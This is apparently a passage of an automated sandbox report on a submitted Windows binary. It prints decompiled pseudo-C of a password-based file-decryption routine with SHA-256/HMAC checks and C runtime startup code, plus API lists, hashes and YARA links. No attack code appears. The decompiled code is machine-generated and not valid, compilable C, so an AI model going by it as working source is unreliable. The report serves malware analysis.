																		__ebx = __ebx + 0x40;
																		_t284 = __ebp - 0x3d0;
																		 *_t284 =  *(__ebp - 0x3d0) - 1;
																		__eflags =  *_t284;
																	} while ( *_t284 != 0);
																	 *(__ebp - 0x3c4) = __ebx;
																}
																__eflags =  *(__ebp - 0x3c8) - __edi;
																if( *(__ebp - 0x3c8) != __edi) {
																	goto L85;
																}
															}
														}
														__ecx = __ebp - 0x3c0;
														__ecx = __esi;
														__eax = E008724A0(__esi, __ebp - 0x3c0, __esi);
														__ecx = __esi;
														__ecx =  ~__esi;
														__ebx = __ebp + __ecx - 0x12;
														__edi = __ebp + __ecx - 0x14;
														__edx = __ebp + __ecx - 0x13;
														 *(__ebp - 0x3c4) = __ecx;
														__eax = __esi;
														 *(__ebp - 0x3d0) = __ebx;
														__ecx = 4;
														do {
															__ebx =  *(__eax + __edi) & 0x000000ff;
															 *__eax =  *__eax ^ __bl;
															__ebx =  *(__eax + __edx) & 0x000000ff;
															 *(__eax + 1) =  *(__eax + 1) ^ __bl;
															 *(__ebp - 0x3d0) =  *(__eax +  *(__ebp - 0x3d0)) & 0x000000ff;
															 *(__eax + 2) =  *(__eax + 2) ^ __bl;
															__ebx =  *(__ebp - 0x3c4);
															__ebx =  *(__eax +  *(__ebp - 0x3c4)) & 0x000000ff;
															 *(__eax + 3) =  *(__eax + 3) ^ __bl;
															__eax = __eax + 4;
															__ecx = __ecx - 1;
															__eflags = __ecx;
														} while (__ecx != 0);
														__eflags =  *(__ebp - 0x3d4);
														__edx =  *(__ebp - 0x34);
														__eax =  *(__ebp - 0x30);
														__ecx =  *(__ebp - 0x2c);
														 *(__ebp - 0x14) =  *(__ebp - 0x34);
														__edx =  *(__ebp - 0x28);
														 *(__ebp - 0x10) =  *(__ebp - 0x30);
														 *(__ebp - 0xc) =  *(__ebp - 0x2c);
														 *(__ebp - 8) = __edx;
														if(__eflags == 0) {
															L90:
															__edi = 0x10;
														} else {
															__al =  *(__ebp - 0x14c);
															__edi = __al & 0x000000ff;
															__eflags = __al;
															if(__eflags == 0) {
																goto L90;
															}
														}
														__eax =  *(__ebp - 0x3dc);
														_push( *(__ebp - 0x3dc));
														_push(__edi);
														_push(1);
														_push(__esi);
														__eax = E008798AF(__ebx, __edx, __edi, __esi, __eflags);
														__esp = __esp + 0x10;
														__eflags = __eax - __edi;
														if(__eflags != 0) {
															_push("Error writing decrypted block:");
															__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
															__esp = __esp + 4;
															__eax = __eax | 0xffffffff;
															_pop(__edi);
															_pop(__esi);
															_pop(__ebx);
															__ecx =  *(__ebp - 4);
															__ecx =  *(__ebp - 4) ^ __ebp;
															__eflags = __ecx;
															__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
															__esp = __ebp;
															_pop(__ebp);
															return __eax;
														} else {
															__esi = __esi + 0x10;
															__ecx = __ebp - 0x58;
															__eflags = __esi - __ebp - 0x58;
															if(__esi == __ebp - 0x58) {
																__esi = __ebp - 0x98;
															}
															goto L94;
														}
													}
												}
											} else {
												L64:
												_push(__edi);
												_push("Error: Input file is corrupt (3:%d).\n");
												goto L3;
											}
										}
									}
								}
								goto L124;
								L94:
								__eflags =  *(__ebp - 0x3d4);
							} while ( *(__ebp - 0x3d4) == 0);
							goto L95;
						}
					} else {
						__eflags = E00878B69(__ebx);
						if(__eflags != 0) {
							__al =  *((intOrPtr*)(__ebp - 0x14d));
							__eflags = __al;
							if(__al != 0) {
								__eflags = __al - 1;
								if(__al < 1) {
									goto L48;
								} else {
									__eflags = __esi - 0x21;
									if(__eflags == 0) {
										__al =  *(__ebp - 0x98);
										__al =  *(__ebp - 0x98) & 0x0000000f;
										 *(__ebp - 0x14c) = __al;
										goto L49;
									} else {
										goto L53;
									}
								}
							} else {
								__eflags = __esi - 0x20;
								if(__eflags != 0) {
									L53:
									_push(__esi);
									_push("Error: Input file is corrupt (1:%d).\n");
									L3:
									__eax = E00878DA3();
									__eax = E008795EB(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
									__eax = __eax | 0xffffffff;
									__edi = __eax;
									_pop(__esi);
									_pop(__ebx);
									__ecx =  *(__ebp - 4);
									__ecx =  *(__ebp - 4) ^ __ebp;
									__eflags = __ecx;
									__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
									__esp = __ebp;
									_pop(__ebp);
									return __eax;
								} else {
									L48:
									__al =  *(__ebp - 0x14c);
									L49:
									__eflags = __al;
									if(__eflags == 0) {
										 *(__ebp - 0x3d4) = 1;
										goto L56;
									} else {
										_push("Error: Input file is corrupt (2).\n");
										goto L2;
									}
								}
							}
						} else {
							_push("Error reading input file ring:");
							__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
							__esp = __esp + 4;
							__eax = __eax | 0xffffffff;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__ecx =  *(__ebp - 4);
							__ecx =  *(__ebp - 4) ^ __ebp;
							__eflags = __ecx;
							__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
							__esp = __ebp;
							_pop(__ebp);
							return __eax;
						}
					}
				} else {
					 *(__ebp - 0x3c8) = 0;
					while(1) {
						__esi =  *(__ebp - 0x3d8);
						__edx = __ebp - 0x98;
						__eax = E008795CE(__edx, 1, 0x10, __esi);
						__eflags = __eax - 0x10;
						if(__eax != 0x10) {
							break;
						}
						__eax =  *(__ebp - 0x98);
						__ecx =  *(__ebp - 0x94);
						__edx =  *(__ebp - 0x90);
						 *(__ebp - 0x34) =  *(__ebp - 0x98);
						__eax =  *(__ebp - 0x8c);
						 *(__ebp - 0x28) =  *(__ebp - 0x8c);
						__eax =  *(__ebp - 0x1b8);
						__esi = __eax;
						__ebx = 0x10;
						__esi = __eax & 0x0000003f;
						__edi = 0x40;
						__eax = __eax + 0x10;
						 *(__ebp - 0x30) =  *(__ebp - 0x94);
						__ecx = __ebp - 0x98;
						__edi = 0x40 - __esi;
						 *(__ebp - 0x2c) =  *(__ebp - 0x90);
						 *(__ebp - 0x3cc) = __ebp - 0x98;
						 *(__ebp - 0x1b8) = __eax;
						__eflags = __eax - 0x10;
						if(__eax < 0x10) {
							_t71 = __ebp - 0x1b4;
							 *_t71 =  *(__ebp - 0x1b4) + 1;
							__eflags =  *_t71;
						}
						__eflags = __esi;
						if(__esi == 0) {
							L17:
							__ecx =  *(__ebp - 0x3cc);
							__edx = __ebp + __esi - 0x190;
							__eax = E0087E790(__ebp + __esi - 0x190,  *(__ebp - 0x3cc), __ebx);
						} else {
							__eflags = __edi - __ebx;
							if(__edi > __ebx) {
								goto L17;
							} else {
								__edx = __ebp - 0x98;
								__ebp + __esi - 0x190 = E0087E790(__ebp + __esi - 0x190, __ebp - 0x98, __edi);
								__ecx = __ebp - 0x1b8;
								__ebp - 0x190 = E00875E90(__ebp - 0x190, __ebp - 0x1b8);
								__ebx = __ebx - __edi;
								__edx = __ebp + __edi - 0x98;
								__esi = 0;
								 *(__ebp - 0x3cc) = __edx;
								__eflags = __ebx - 0x40;
								if(__ebx >= 0x40) {
									__eax = __ebx;
									__eax = __ebx >> 6;
									__eflags = __eax;
									 *(__ebp - 0x3c4) = __eax;
									__edi = __edx;
									do {
										__eax = __ebp - 0x1b8;
										__edi = E00875E90(__edi, __ebp - 0x1b8);
										__ebx = __ebx - 0x40;
										__edi = __edi + 0x40;
										_t83 = __ebp - 0x3c4;
										 *_t83 =  *(__ebp - 0x3c4) - 1;
										__eflags =  *_t83;
									} while ( *_t83 != 0);
									 *(__ebp - 0x3cc) = __edi;
								}
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L17;
								}
							}
						}
						__eax = __ebp - 0x98;
						__ecx = __ebp - 0x3c0;
						__ecx = __ebp - 0x98;
						__eax = E008724A0(__ebp - 0x98, __ebp - 0x3c0, __eax);
						__esi =  *(__ebp - 0x3c8);
						__eax = 0;
						__eflags = 0;
						do {
							__edx =  *(__ebp + __eax - 0x14) & 0x000000ff;
							__dl = __dl ^  *(__ebp + __eax - 0x98);
							__ecx = __ebp + __eax - 0x147;
							__ecx = __ebp + __eax - 0x147 + __esi;
							 *(__ecx - 1) = __dl;
							__edx =  *(__ebp + __eax - 0x97) & 0x000000ff;
							__dl = __dl ^  *(__ebp + __eax - 0x13);
							__eax = __eax + 4;
							 *__ecx = __dl;
							__edx =  *(__ebp + __eax - 0x9a) & 0x000000ff;
							__dl = __dl ^  *(__ebp + __eax - 0x16);
							 *(__ecx + 1) = __dl;
							__edx =  *(__ebp + __eax - 0x99) & 0x000000ff;
							__dl = __dl ^  *(__ebp + __eax - 0x15);
							 *(__ecx + 2) = __dl;
							__eflags = __eax - 0x10;
						} while (__eax < 0x10);
						__eax =  *(__ebp - 0x34);
						__ecx =  *(__ebp - 0x30);
						__edx =  *(__ebp - 0x2c);
						__esi = __esi + 0x10;
						 *(__ebp - 0x14) =  *(__ebp - 0x34);
						__eax =  *(__ebp - 0x28);
						 *(__ebp - 0x10) =  *(__ebp - 0x30);
						 *(__ebp - 0xc) =  *(__ebp - 0x2c);
						 *(__ebp - 8) =  *(__ebp - 0x28);
						 *(__ebp - 0x3c8) = __esi;
						__eflags = __esi - 0x30;
						if(__esi < 0x30) {
							continue;
						} else {
							__ecx = __ebp - 0x54;
							__ecx = __ebp - 0x1b8;
							__eax = E00878680(__ebp - 0x1b8, __ebp - 0x54);
							__edx = __ebp - 0x1b8;
							__edi = 0x40;
							__eax = __ebp - 0xd8;
							 *(__ebp - 0x1b4) = 0;
							 *((intOrPtr*)(__ebp - 0x1b0)) = 0x6a09e667;
							 *((intOrPtr*)(__ebp - 0x1ac)) = 0xbb67ae85;
							 *((intOrPtr*)(__ebp - 0x1a8)) = 0x3c6ef372;
							 *((intOrPtr*)(__ebp - 0x1a4)) = 0xa54ff53a;
							 *((intOrPtr*)(__ebp - 0x1a0)) = 0x510e527f;
							 *((intOrPtr*)(__ebp - 0x19c)) = 0x9b05688c;
							 *((intOrPtr*)(__ebp - 0x198)) = 0x1f83d9ab;
							 *((intOrPtr*)(__ebp - 0x194)) = 0x5be0cd19;
							 *(__ebp - 0x1b8) = 0x40;
							E00875E90(__ebp - 0xd8, __ebp - 0x1b8) = __ebp - 0x54;
							 *(__ebp - 0x3cc) = __ebp - 0x54;
							__eax =  *(__ebp - 0x1b8);
							_t139 = __edi - 0x20; // 0x20
							__ebx = _t139;
							__esi = __eax;
							__esi = __eax & 0x0000003f;
							__eax = __eax + __ebx;
							__edi = 0x40 - __esi;
							 *(__ebp - 0x1b8) = __eax;
							__eflags = __eax - __ebx;
							if(__eax < __ebx) {
								_t141 = __ebp - 0x1b4;
								 *_t141 =  *(__ebp - 0x1b4) + 1;
								__eflags =  *_t141;
							}
							__eflags = __esi;
							if(__esi == 0) {
								L30:
								__eax =  *(__ebp - 0x3cc);
								__ecx = __ebp + __esi - 0x190;
								__eax = E0087E790(__ebp + __esi - 0x190,  *(__ebp - 0x3cc), __ebx);
							} else {
								__eflags = __edi - __ebx;
								if(__edi > __ebx) {
									goto L30;
								} else {
									__ecx = __ebp - 0x54;
									__edx = __ebp + __esi - 0x190;
									E0087E790(__ebp + __esi - 0x190, __ebp - 0x54, __edi) = __ebp - 0x1b8;
									__ebp - 0x190 = E00875E90(__ebp - 0x190, __ebp - 0x1b8);
									__ebx = __ebx - __edi;
									__ecx = __ebp + __edi - 0x54;
									__esi = 0;
									 *(__ebp - 0x3cc) = __ecx;
									__eflags = __ebx - 0x40;
									if(__ebx >= 0x40) {
										__ebx = __ebx >> 6;
										 *(__ebp - 0x3c4) = __ebx >> 6;
										__edi = __ecx;
										do {
											__edx = __ebp - 0x1b8;
											__edi = E00875E90(__edi, __ebp - 0x1b8);
											__ebx = __ebx - 0x40;
											__edi = __edi + 0x40;
											_t153 = __ebp - 0x3c4;
											 *_t153 =  *(__ebp - 0x3c4) - 1;
											__eflags =  *_t153;
										} while ( *_t153 != 0);
										 *(__ebp - 0x3cc) = __edi;
									}
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L30;
									}
								}
							}
							__edx = __ebp - 0x54;
							__ecx = __ebp - 0x1b8;
							__eax = E00878680(__ebp - 0x1b8, __ebp - 0x54);
							__esi =  *(__ebp - 0x3d8);
							__eax = __ebp - 0x98;
							__eax = E008795CE(__ebp - 0x98, 1, 0x20, __esi);
							__eflags = __eax - 0x20;
							if(__eax == 0x20) {
								__eax = 0x20;
								__ecx = 0;
								__eflags = 0;
								while(1) {
									__edx =  *(__ebp + __ecx - 0x54);
									__eflags =  *(__ebp + __ecx - 0x54) -  *((intOrPtr*)(__ebp + __ecx - 0x98));
									if(__eflags != 0) {
										break;
									}
									__eax = __eax - 4;
									__ecx = __ecx + 4;
									__eflags = __eax - 4;
									if(__eax >= 4) {
										continue;
									} else {
										__ecx =  *(__ebp - 0x144);
										__edx =  *(__ebp - 0x140);
										__eax =  *(__ebp - 0x148);
										 *(__ebp - 0x10) =  *(__ebp - 0x144);
										__ecx = __ebp - 0x138;
										 *(__ebp - 0xc) =  *(__ebp - 0x140);
										 *(__ebp - 0x14) =  *(__ebp - 0x148);
										__eax =  *(__ebp - 0x13c);
										__edx = __ebp - 0x3c0;
										 *(__ebp - 8) =  *(__ebp - 0x13c);
										E00871210(__ebp - 0x3c0, __ebp - 0x138) = __ebp - 0x118;
										__eax = E0087E710(__ebp - 0x118, 0x36, 0x40);
										__ecx = __ebp - 0xd8;
										__eax = E0087E710(__ebp - 0xd8, 0x5c, 0x40);
										__eax = 0;
										do {
											__cl =  *((intOrPtr*)(__ebp + __eax - 0x138));
											 *(__ebp + __eax - 0x118) =  *(__ebp + __eax - 0x118) ^ __cl;
											 *(__ebp + __eax - 0xd8) =  *(__ebp + __eax - 0xd8) ^ __cl;
											__cl =  *((intOrPtr*)(__ebp + __eax - 0x137));
											 *(__ebp + __eax - 0x117) =  *(__ebp + __eax - 0x117) ^ __cl;
											 *(__ebp + __eax - 0xd7) =  *(__ebp + __eax - 0xd7) ^ __cl;
											__cl =  *((intOrPtr*)(__ebp + __eax - 0x136));
											 *(__ebp + __eax - 0x116) =  *(__ebp + __eax - 0x116) ^ __cl;
											 *(__ebp + __eax - 0xd6) =  *(__ebp + __eax - 0xd6) ^ __cl;
											__cl =  *((intOrPtr*)(__ebp + __eax - 0x135));
											 *(__ebp + __eax - 0x115) =  *(__ebp + __eax - 0x115) ^ __cl;
											 *(__ebp + __eax - 0xd5) =  *(__ebp + __eax - 0xd5) ^ __cl;
											__eax = __eax + 4;
											__eflags = __eax - 0x20;
										} while (__eax < 0x20);
										__edx = __ebp - 0x1b8;
										__eax = __ebp - 0x118;
										 *(__ebp - 0x1b4) = 0;
										 *((intOrPtr*)(__ebp - 0x1b0)) = 0x6a09e667;
										 *((intOrPtr*)(__ebp - 0x1ac)) = 0xbb67ae85;
										 *((intOrPtr*)(__ebp - 0x1a8)) = 0x3c6ef372;
										 *((intOrPtr*)(__ebp - 0x1a4)) = 0xa54ff53a;
										 *((intOrPtr*)(__ebp - 0x1a0)) = 0x510e527f;
										 *((intOrPtr*)(__ebp - 0x19c)) = 0x9b05688c;
										 *((intOrPtr*)(__ebp - 0x198)) = 0x1f83d9ab;
										 *((intOrPtr*)(__ebp - 0x194)) = 0x5be0cd19;
										 *(__ebp - 0x1b8) = 0x40;
										__eax = E00875E90(__ebp - 0x118, __ebp - 0x1b8);
										__ebx = __esi;
										goto L42;
									}
									goto L124;
								}
								L45:
								_push("Error: Message has been altered or password is incorrect\n");
								goto L2;
							} else {
								__eflags = E00878B69(__esi);
								if(__eflags != 0) {
									L1:
									_push("Error: Input file is too short.\n");
									L2:
									_push(E00878DA3() + 0x40);
									_t423 = E008795EB(_t426, _t431, _t433, _t440);
									_pop(_t432);
									_pop(_t434);
									_pop(_t427);
									return E00878AD6(_t423 | 0xffffffff, _t427,  *(_t435 - 4) ^ _t435, _t430, _t432, _t434);
								} else {
									_push("Error reading input file digest:");
									__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
									__esp = __esp + 4;
									__eax = __eax | 0xffffffff;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									__ecx =  *(__ebp - 4);
									__ecx =  *(__ebp - 4) ^ __ebp;
									__eflags = __ecx;
									__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
									__esp = __ebp;
									_pop(__ebp);
									return __eax;
								}
							}
						}
						goto L124;
					}
					__eflags = E00878B69(__esi);
					if(__eflags != 0) {
						goto L1;
					} else {
						_push("Error reading input file IV and key:");
						__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
						__esp = __esp + 4;
						__eax = __eax | 0xffffffff;
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						__ecx =  *(__ebp - 4);
						__ecx =  *(__ebp - 4) ^ __ebp;
						__eflags = __ecx;
						__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					}
				}
				L124:
			}

APIs

__fread_nolock.LIBCMT ref: 00874772
_memmove.LIBCMT ref: 008747F4
_memmove.LIBCMT ref: 0087486A
_memmove.LIBCMT ref: 008749D1
_memmove.LIBCMT ref: 00874A49
__fread_nolock.LIBCMT ref: 00874A72

Strings

@, xrefs: 00874737
gj, xrefs: 00874933
Error reading input file digest:, xrefs: 00874A90

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memmove$__fread_nolock
String ID: @$Error reading input file digest:$gj
API String ID: 1150752121-1341029791
Opcode ID: 85231a3b517129371a14f4b6be73afb535cd6538cabadffd5d8b2709798e03b1
Instruction ID: 0149d90627647bd6b1c53967837f18f58218b6d075a9a17c1cedeaeeb944ead8
Opcode Fuzzy Hash: 85231a3b517129371a14f4b6be73afb535cd6538cabadffd5d8b2709798e03b1
Instruction Fuzzy Hash: C8B17EB29112688BDB65DFA8D880BDDBBB4BF19304F5494E9D80DE7245DB308B88CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00878AD6, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00878AD6(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x888288; // 0xb2c0100a
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x889330 = _t6;
				 *0x88932c = _t22;
				 *0x889328 = _t25;
				 *0x889324 = _t21;
				 *0x889320 = _t27;
				 *0x88931c = _t26;
				 *0x889348 = ss;
				 *0x88933c = cs;
				 *0x889318 = ds;
				 *0x889314 = es;
				 *0x889310 = fs;
				 *0x88930c = gs;
				asm("pushfd");
				_pop( *0x889340);
				 *0x889334 =  *_t31;
				 *0x889338 = _v0;
				 *0x889344 =  &_a4;
				 *0x889280 = 0x10001;
				_t11 =  *0x889338; // 0x0
				 *0x889234 = _t11;
				 *0x889228 = 0xc0000409;
				 *0x88922c = 1;
				_t12 =  *0x888288; // 0xb2c0100a
				_v812 = _t12;
				_t13 =  *0x88828c; // 0x4d3feff5
				_v808 = _t13;
				 *0x889278 = IsDebuggerPresent();
				_push(1);
				E008802EF(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x8841d0);
				if( *0x889278 == 0) {
					_push(1);
					E008802EF(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 0087A782
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0087A797
UnhandledExceptionFilter.KERNEL32(008841D0), ref: 0087A7A2
GetCurrentProcess.KERNEL32(C0000409), ref: 0087A7BE
TerminateProcess.KERNEL32(00000000), ref: 0087A7C5

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: fce2b69e34cdf59923472d25a17eddfbf5298a835ef220b094ba8496de76da06
Instruction ID: 920ab94ddf91c4e973234dcf1f1892974fc7a551cd9db9a62ab2978c89a4345f
Opcode Fuzzy Hash: fce2b69e34cdf59923472d25a17eddfbf5298a835ef220b094ba8496de76da06
Instruction Fuzzy Hash: 9321DFB5441305EFCB90DF6CFC886A43BA0FB18715F58601AE99A973B1E7B05984CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0087F5EE, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0087F5EE(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t35;
				intOrPtr* _t36;
				void* _t39;
				intOrPtr* _t41;
				void* _t42;

				_t30 = __ebx;
				_t35 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t35 != 0) {
					 *0x889cd8 = GetProcAddress(_t35, "FlsAlloc");
					 *0x889cdc = GetProcAddress(_t35, "FlsGetValue");
					 *0x889ce0 = GetProcAddress(_t35, "FlsSetValue");
					_t7 = GetProcAddress(_t35, "FlsFree");
					__eflags =  *0x889cd8;
					_t39 = TlsSetValue;
					 *0x889ce4 = _t7;
					if( *0x889cd8 == 0) {
						L6:
						 *0x889cdc = TlsGetValue;
						 *0x889cd8 = E0087F2FE;
						 *0x889ce0 = _t39;
						 *0x889ce4 = TlsFree;
					} else {
						__eflags =  *0x889cdc;
						if( *0x889cdc == 0) {
							goto L6;
						} else {
							__eflags =  *0x889ce0;
							if( *0x889ce0 == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					 *0x88872c = _t10;
					__eflags = _t10 - 0xffffffff;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x889cdc);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E00879FFA();
							_t41 = __imp__EncodePointer;
							_t14 =  *_t41( *0x889cd8);
							 *0x889cd8 = _t14;
							_t15 =  *_t41( *0x889cdc);
							 *0x889cdc = _t15;
							_t16 =  *_t41( *0x889ce0);
							 *0x889ce0 = _t16;
							 *0x889ce4 =  *_t41( *0x889ce4);
							_t18 = E0087D6F8();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E0087F33B();
								goto L15;
							} else {
								_t36 = __imp__DecodePointer;
								_t21 =  *((intOrPtr*)( *_t36()))( *0x889cd8, E0087F4BF);
								 *0x888728 = _t21;
								__eflags = _t21 - 0xffffffff;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E0087A62D(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										__eflags =  *((intOrPtr*)( *_t36()))( *0x889ce0,  *0x888728, _t42);
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E0087F378(_t30, _t36, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E0087F33B();
					return 0;
				}
			}

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00879EBA,00886E08,00000014), ref: 0087F5F6
__mtterm.LIBCMT ref: 0087F602

Part of subcall function 0087F33B: DecodePointer.KERNEL32(00000002,0087F764,?,00879EBA,00886E08,00000014), ref: 0087F34C
Part of subcall function 0087F33B: TlsFree.KERNEL32(00000003,0087F764,?,00879EBA,00886E08,00000014), ref: 0087F366

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0087F618
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0087F625
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0087F632
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0087F63F
TlsAlloc.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F68F
TlsSetValue.KERNEL32(00000000,?,00879EBA,00886E08,00000014), ref: 0087F6AA
__init_pointers.LIBCMT ref: 0087F6B4
EncodePointer.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F6C5
EncodePointer.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F6D2
EncodePointer.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F6DF
EncodePointer.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F6EC
DecodePointer.KERNEL32(0087F4BF,?,00879EBA,00886E08,00000014), ref: 0087F70D
__calloc_crt.LIBCMT ref: 0087F722
DecodePointer.KERNEL32(00000000,?,00879EBA,00886E08,00000014), ref: 0087F73C
__initptd.LIBCMT ref: 0087F747
GetCurrentThreadId.KERNEL32 ref: 0087F74E

Strings

FlsFree, xrefs: 0087F634
KERNEL32.DLL, xrefs: 0087F5F1
FlsGetValue, xrefs: 0087F61A
FlsSetValue, xrefs: 0087F627
FlsAlloc, xrefs: 0087F612

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: 81292071542df30ae393aa4afed79e530394221609b21acb5f6bb342c73acffe
Instruction ID: c89dcff6d559aad28d692def7f86574c31e95b36f6f920f0921498d760ccba74
Opcode Fuzzy Hash: 81292071542df30ae393aa4afed79e530394221609b21acb5f6bb342c73acffe
Instruction Fuzzy Hash: 15316232804711DACB20EF7EEC0456A3EE6FB453A07188126E65AD32B6DF76C441CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00875B10, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00875B10(void* __ebx, intOrPtr* __edi) {
				void* __esi;
				signed int _t22;
				signed int _t24;
				signed int _t27;
				signed int _t29;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t38;
				signed int _t39;
				void* _t41;
				signed int _t42;
				signed int _t44;
				signed int _t45;
				intOrPtr _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				signed int _t52;
				intOrPtr* _t53;
				signed int _t55;
				void* _t60;

				_t53 = __edi;
				_t41 = __ebx;
				if( *0x889d64 != 0) {
					L9:
					return _t22 | 0xffffffff;
				} else {
					_t42 =  *0x888fa4; // 0x5
					if(_t42 >= __ebx) {
						L8:
						 *0x889d64 = 1;
						goto L9;
					} else {
						_t24 =  *0x889d60; // 0x0
						if(_t24 != 0) {
							L11:
							_t55 =  *( *((intOrPtr*)(_t53 + _t42 * 4)) + _t24 * 2) & 0x0000ffff;
							 *0x889d5c = _t55;
							 *0x889d60 = _t24 + 1;
							__eflags = _t55 - 0x3a;
							if(_t55 == 0x3a) {
								L19:
								_push(_t55);
								_push( *_t53);
								_push(L"%s: illegal option -- %c\n");
								_t27 = E00878DA3() + 0x40;
								__eflags = _t27;
								_push(_t27);
								E00878C47(_t41,  *_t53, _t53, _t55, _t27);
								_t55 = 0x3f;
								goto L20;
							} else {
								_t31 = E00879C16(L"vhdep:o:", _t55);
								_t60 = _t60 + 8;
								__eflags = _t31;
								if(_t31 == 0) {
									goto L19;
								} else {
									__eflags =  *((short*)(_t31 + 2)) - 0x3a;
									if( *((short*)(_t31 + 2)) != 0x3a) {
										L20:
										_t29 =  *0x889d60; // 0x0
										__eflags = _t29;
										if(_t29 != 0) {
											_t44 =  *0x888fa4; // 0x5
											_t49 =  *((intOrPtr*)(_t53 + _t44 * 4));
											__eflags =  *((short*)(_t49 + _t29 * 2));
